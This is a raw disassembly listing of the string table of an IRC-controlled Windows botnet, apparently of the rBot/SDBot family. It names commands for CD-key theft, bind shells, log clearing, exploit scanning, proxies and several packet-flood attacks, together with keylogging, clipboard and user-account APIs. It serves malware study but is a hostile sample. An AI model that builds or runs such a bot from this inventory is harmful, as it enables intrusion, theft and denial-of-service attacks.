aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 10h
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C2B8	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 10h
unk_42C2E0	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 10h
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 10h
aS_0:					; DATA XREF: sub_401ACD+1662o
					; ___:00438004o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 4
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437C20o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 10h
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 4
dword_42C3A4	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 4
dword_42C3C4	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3E8	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 10h
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 10h
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C438	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 10h
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C480	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C4B4	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C4C4	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4D4	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4E4	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4F4	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C500	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C50C	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C518	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 10h
dword_42C530	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C53C	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 4
dword_42C554	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C564	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 10h
dword_42C580	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C590	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 4
dword_42C5AC	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C5B8	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C5CC	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5D8	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5E4	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5F0	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C600	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 10h
dword_42C620	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C62C	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C640	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 4
dword_42C65C	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C678	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 10h
dword_42C6A0	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 10h
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 10h
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 4
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C4Co
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_42C74C:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C790	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42C7C4	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42C7F4	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42C82C	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42C854	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C898	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42C8D4	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8EC	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8F4	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C910	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C91C	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C920	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 10h
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42C95C	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C964	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 10h
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C978	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42C99C	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9F0	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_42CA5C:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA60:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA64	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
